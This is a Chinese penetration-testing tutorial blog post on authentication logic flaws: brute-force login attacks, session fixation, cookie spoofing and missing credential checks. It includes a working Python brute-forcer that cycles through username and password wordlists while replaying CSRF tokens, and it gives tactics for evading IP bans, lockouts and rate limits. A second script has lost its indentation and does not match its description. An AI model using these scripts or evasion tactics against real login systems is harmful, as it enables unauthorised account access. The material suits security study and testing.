逻辑漏洞详解一

目录

一.定义

二.身份验证漏洞

1.暴力破解漏洞

1.1 未限制爆破

1.2 限制 IP 爆破

1.3 限制密码错误次数

1.4 多字段爆破

1.5 限制登录频率

1.6 Authorization爆破

1.7 密文传输

2.session 固定攻击

2.1 漏洞介绍

2.2 漏洞原理

2.3 漏洞测试方式

3.Cookie 欺骗漏洞

3.1 漏洞介绍

3.2 漏洞原理

3.3 漏洞修复

4.未进行登录凭证验证


一.定义

由于开发人员设计程序时逻辑不严密,导致攻击者可以修改,绕过或者中断整个程序,让程序并非按照研发设计的逻辑运行,而是从开发人员预料之外去执行,这就是逻辑漏洞。

(由于逻辑漏洞涉及到的内容杂且多,所以我将分为几篇来写,本篇主要讲身份验证的漏洞)

二.身份验证漏洞

1.暴力破解漏洞

渗透测试中最简单也最有效的攻击方式就是弱口令攻击,web 服务中最好用的爆破神器就是 Burp Suite 的 intruder 模块,如果有简单的图片验证码时,就可以用 pkav工具来试下。此外,还可以自己写python脚本来爆破。

1.1 未限制爆破

对于用户登录的地方(如输入账号,密码等)没有做防御爆破的措施,则对该地方可以直接使用bp来抓包,然后发送到 intruder 模块来爆破。

1.2 限制 IP 爆破

针对爆破问题,有些开发人员可能会使用限制 IP 的方式,当在短时间内有大量来自该 IP 的尝试登录现象时就会封锁该 IP,导致该 IP 无法使用,针对这种情况,可以自己写脚本,调用 git 开源的代理 API 来爆破,当然也可以直接用别人的轮子。

下面为使用python脚本调用代理池的代码。

import requests
import re
def post ():
curl = "https://..../"  #爆破的网站url
proxy = {'http':'127.0.0.1:8080'}   #自建资源池,这里为代理地址和端口
header = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/70.0.3538.25 Safari/537.36 Core/1.70.3775.400 QQBrowser/10.6.4208.400'}  
#头部信息,一般可省略
post = requests.get(curl,headers=header,proxies=proxy).text  #请求报文
# post = post.encode('ISO-8859-1').decode("gb2312")  #iso编码转汉字
# print(post)  #打印网站
chuli(post)  #使用chuli进行取值
def chuli (post): #此模块为数据处理
ip = re.findall('准确归属地:.*', post)[0]   #取出IP地址
print(ip) #输出地址
if __name__ == '__main__':
post()

1.3 限制密码错误次数

有些网站管理员会限制某个账号的登录次数,如果密码错误次数超过限制次数,账号就会被锁定。
如果他限制了一个账号,比如只允许输错5次,但是不限制你换个账号又可以继续输错5次,对于这种情况,通常可以通过弱密码反过来爆破账号,即设置任意的不超过爆破次数的弱密码数量,然后来爆破用户名,如果显示某个账户会锁定,说明存在该用户。

1.4 多字段爆破

即需要爆破多个字段,比如需要同时爆破账号密码验证码,大多数情况下仍然使用 burpsuite 的 Intruder 模块,只是与单个字段爆破选择的模式不同,但是当某个字段需要用到上次回包里的信息的情况下,最常见的字段有cookie,session,token,此时可以用 bp 来爆破的话,需要选择单线程。

也可以用 python 脚本实现,以 token 值为例。

import requests
import re

purl = "http://.../"  #爆破网站
user_token = "27536628ca8f3b0818871451285"  #先获取第一个token值
proxy = {'http':'127.0.0.1:8080'}     #使用bp代理池,就可以在bp里看到发送的报文
header = {
     'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0',
     'Cookie': 'PHPSESSID=17u0i2fakm84eq9oc24boc8715'}

def token(response):
    user_token = re.findall('value=".*."', response)[0][7:-1]  #取出token
    return user_token

def uandp(user_token):
    f = open('result.csv', 'w')     #把爆破结果储存到文件里,这里为csv格式
    f.write('用户名' + ',' + '密码' + ',' + '包长度' + '\n') #给文件设置标题
    sum = len(open("p.txt").readlines())*len(open("u.txt").readlines()) #密码本的总数量,最后得出进度
    dan = 0
    for u in open("u.txt") :
        for p in open("p.txt") :
            u = u.replace("\n","")   #过滤掉回车符
            p = p.replace("\n","")
            session = requests.session()    #会话保持
            data= {'username':u,'password':p,'token':user_token,'submit':'Login'} #初始数据
            response = session.post(purl,data=data,headers=header).text
            user_token = token(response)
            result = u + ',' + p + ',' + str(len(response))    #用户名密码以及响应包长度
            f.write(result + '\n')  #输出到文件
            dan = dan + 1
            print("进度:"+str(dan)+'/'+str(sum))           #输出到终端
            # print(response)
    f.close()

if __name__ == '__main__':
    uandp(user_token)

1.5 限制登录频率

在一定的时间内限制爆破的次数,比如10分钟内只允许爆破10次,则可以采用延时爆破的方式,在 bp 里设置线程数即可,但是可能需要时间比较久。

1.6 Authorization爆破

狭义上单纯指 basic base64 爆破,比如 tomcat 的密码在传输的时候,是采用base64编码的,而广义上可以泛指经过编码过后的信息。

1.7 密文传输

渗透测试中,有时会遇到密码从客户端到服务端中间通过前端 js 代码加密后,再发送给服务器,这个时候,我们可以采用 bp 上自带的加密方法进行加密,方法同上。
常见的加密手法有MD5或者RSA,如果需要JS的复杂加密,也可以读懂JS的加密逻辑自定义Python进行爆破,或者使用python的pyexecjs包来帮助你执行JS文件复现加密方法。

2.session 固定攻击

2.1 漏洞介绍

session固定攻击是利用服务器的session不变机制,借他人之手获得认证和授权,然后冒用他人。

2.2 漏洞原理

在登录成功之后,为了保持会话持续连接,服务器会保留一个session,在一定时间内,用户在访问页面时,如果是 get 方式,只需在url 中带有相应的session值,如果是 post 方式,在请求头里带有 sessionid 值,则可以进行身份验证,而用户无需多次输入账号密码进行身份验证。因此,只要攻击者获取到session,就可以在用户登录期间,凭借 session 获得未授权登录。

2.3 漏洞测试方式

在访问网站时直接赋值session,然后更换浏览器打开或者使用无痕模式打开即可,如果可以直接访问,不需要登录,说明存在该漏洞。

3.Cookie 欺骗漏洞

3.1 漏洞介绍

通过伪造Cookie信息能够伪造其他用户进行登录。

3.2 漏洞原理

开发者为了方便,将身份信息或者登录信息明文或者只是简单编码、哈希之后存放在Cookies中,网站通过获取得到的Cookies进行授权或者身份验证。

3.3 漏洞修复

Cookie不应该存储可理解的身份信息和登录信息,按照规定,cookie对身份信息和登录信息的存储只能通过存储足够长度的随机字符串,避免篡改。

4.未进行登录凭证验证

有些业务的接口,因为缺少了对用户的登陆凭证的较验或者是验证存在缺陷,导致攻击者可以未经授权访问这些敏感信息甚至是越权操作。

例如,在某些后台页面上,直接在管理员 web 路径后面输入某些文件名,就可以直接访问。 

  • 10
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值